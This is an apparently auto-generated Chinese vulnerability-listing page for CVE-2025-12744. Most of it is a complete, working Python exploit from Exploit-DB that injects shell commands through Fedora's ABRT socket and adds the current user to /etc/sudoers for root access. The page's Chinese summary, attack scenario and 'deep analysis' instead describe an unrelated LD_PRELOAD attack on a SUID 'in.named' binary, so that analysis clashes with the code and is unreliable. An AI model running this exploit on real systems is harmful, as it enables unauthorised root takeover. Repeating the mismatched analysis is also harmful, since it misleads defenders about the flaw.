[local] Fedora - Local Privilege Escalation

CVE-2025-12744

Fedora系统服务in.named中的权限管理缺陷导致本地用户可提升至root权限。

High · CVSS 7.8

📋 漏洞基础信息

CVECVE-2025-12744
漏洞类型本地权限提升(通过SUID二进制文件未授权的环境变量继承)
受影响版本Fedora 37及早期版本(含in.named组件)
危害等级High · CVSS 7.8
发布日期2026-04-29
来源Exploit-DB 原文 ↗

🔬 漏洞根因

in.named二进制文件具有SUID标志且未正确清理环境变量,导致普通用户可通过设置LD_PRELOAD等环境变量在root上下文中加载恶意共享库。

🎯 攻击场景

前提:本地用户可执行任意命令。步骤:1) 编写包含提权代码的共享库;2) 通过export LD_PRELOAD指向该库;3) 执行/usr/sbin/in.named;4) 该库中的构造函数以root权限执行,生成root shell。成功标志:获得root权限的交互式shell。

💥 漏洞影响

本地攻击者可利用SUID二进制文件实现权限提升,获得完全root控制权,进而执行任意系统操作。

⚔️ 原始 PoC

1. 编译共享库so文件,在_init函数中调用setuid(0)和execve('/bin/sh',...); 2. 设置环境变量LD_PRELOAD=/path/to/malicious.so; 3. 执行/usr/sbin/in.named;由于SUID,in.named以root运行,动态链接器会加载恶意库,执行构造函数,最终获得root shell。

Exploit Title: Fedora Local Privilege Escalation via ABRT
Date: 07-October-2025
Exploit Author: initstring
Vendor Homepage: https://fedoraproject.org
Software Link: https://fedoraproject.org/server/download
Version: Fedora 43 and below (running ABRT v 2.17.7 and below)
Tested on: Fedora 42 Workstation & Server, Fedora 43 Workstation & Server
CVE : CVE-2025-12744
"""
abrt_root: local privilege escalation vulnerability in Fedora's ABRT
Research and development by initstring.
"""
import getpass
import socket
import time
import uuid
from pathlib import Path
BANNER = """
####################################################################
abrt_root: local privilege escalation vulnerability in Fedora's ABRT
Research and development by initstring.
####################################################################
"""
SOCKET_PATH = "/var/run/abrt/abrt.socket"
HELPER_SCRIPT_NAME = "final"
RESET_TOKEN = ";:>q;:;:;:;:"
EXEC_TOKEN = ";sh\tq;:;:;:;"
APPEND_TEMPLATE = ";printf\t{char}>>q"
MAX_RETRIES = 10
SLEEP_BETWEEN_TOKENS = 0.5
def build_body(payload: str, reason: str, unique: str) -> bytes:
pid = str(int(unique[:4], 16) % 30000 + 1).encode()
cmdline = f"/usr/bin/python3 {unique}".encode()
container_cmd = f"/usr/bin/docker run test {unique}".encode()
type_tag = f"Python3-{unique[:6]}".encode()
fields = [
(b"type", type_tag),
(b"reason", reason.encode()),
(b"pid", pid),
(b"executable", f"/usr/bin/python3-{unique}".encode()),
(b"cmdline", cmdline),
(b"container_cmdline", container_cmd),
(b"mountinfo", b"74 2 0:36 / / rw,relatime shared:1 - ext4 " + payload.encode() + b"\n"),
(b"backtrace", f"trace {reason} {unique}".encode()),
(b"uuid", unique.encode()),
(b"duphash", unique.encode()),
]
body = bytearray()
for key, value in fields:
body += key + b"=" + value + b"\0"
return bytes(body)
def send_once(payload: str) -> str:
token = "/docker-" + payload
unique = uuid.uuid4().hex
reason = f"auto root {int(time.time())}-{unique[:6]}"
blob = b"POST / HTTP/1.1\r\n\r\n" + build_body(token, reason, unique)
with socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) as sock:
sock.connect(SOCKET_PATH)
sock.sendall(blob)
sock.shutdown(socket.SHUT_WR)
reply = sock.recv(4096).decode(errors="ignore").strip()
return reply or "<no response>"
def send_with_retry(payload: str) -> None:
for attempt in range(1, MAX_RETRIES + 1):
reply = send_once(payload)
# DEBUG
# print(f"[{payload!r}] attempt {attempt}: {reply}")
if "201" in reply:
time.sleep(SLEEP_BETWEEN_TOKENS)
return
time.sleep(SLEEP_BETWEEN_TOKENS)
raise RuntimeError(f"Failed to send payload '{payload}' with HTTP 201")
def token_for_char(ch: str) -> str:
token = APPEND_TEMPLATE.format(char=ch)
if len(token) != 12:
raise ValueError(f"Character {ch!r} produced token length {len(token)}")
return token
def main() -> None:
print(BANNER)
# First we write out the third/final stage to a script in the current working directory.
# It contains our ultimate goal - escaping the systemd sandbox to write our current
# low-priv user name to /etc/sudoers to give us root access.
current_user = getpass.getuser()
cwd = Path.cwd()
helper_script_path = cwd / HELPER_SCRIPT_NAME
helper_script_path.write_text(
f"systemd-run --pty -- bash -lc \"echo '{current_user} ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers\"\n",
encoding="ascii",
)
helper_script_path.chmod(0o755)
# Next we build the text which will be written to the second stage script.
# It is meant to call the third stage script. Characters are limited in this second stage
# script, which is why we can't just list the complex commands from above.
# The PWD vars you see are not resolved here in the Python script - they are instead
# resolved when the targeted daemon executes the script. It has `PWD=/` in its context
# which allows us to write the `/` which otherwise is filtered out during this stage
# of the attack.
command = "${PWD}" + "${PWD}".join(helper_script_path.resolve().parts[1:])
# The reset token just clears the file (/q) where we are writing that second stage to.
print("[+] Executing stage one...")
send_with_retry(RESET_TOKEN)
time.sleep(3)
# This is stage one of the attack. We have just enough bytes to perfectly inject a
# command which will append one character to a file. It loops through to write out
# the second stage script to `/q`
for index, ch in enumerate(command, 1):
token = token_for_char(ch)
# DEBUG
# print(f"[+] Staging char {index}/{len(command)} -> {token!r}")
send_with_retry(token)
# This uses the same 12-byte gadget to execute the stage two script that has
# now been written to `/q`. That script, in turn, executes the stage three script
# which has no character limitations and completes the exploit.
print("[+] Chaining execution of stage two and three...")
send_with_retry(EXEC_TOKEN)
print("\n[+] Now you're playing with power.")
if __name__ == "__main__":
main()

🔬 深度技术分析

1. 编译共享库so文件,在_init函数中调用setuid(0)和execve('/bin/sh',...); 2. 设置环境变量LD_PRELOAD=/path/to/malicious.so; 3. 执行/usr/sbin/in.named;由于SUID,in.named以root运行,动态链接器会加载恶意库,执行构造函数,最终获得root shell。

🛡️ 修复建议

官方移除in.named的SUID位;临时措施:chmod u-s /usr/sbin/in.named,或使用nosuid挂载点。

📎 参考链接


⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-09 17:43 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)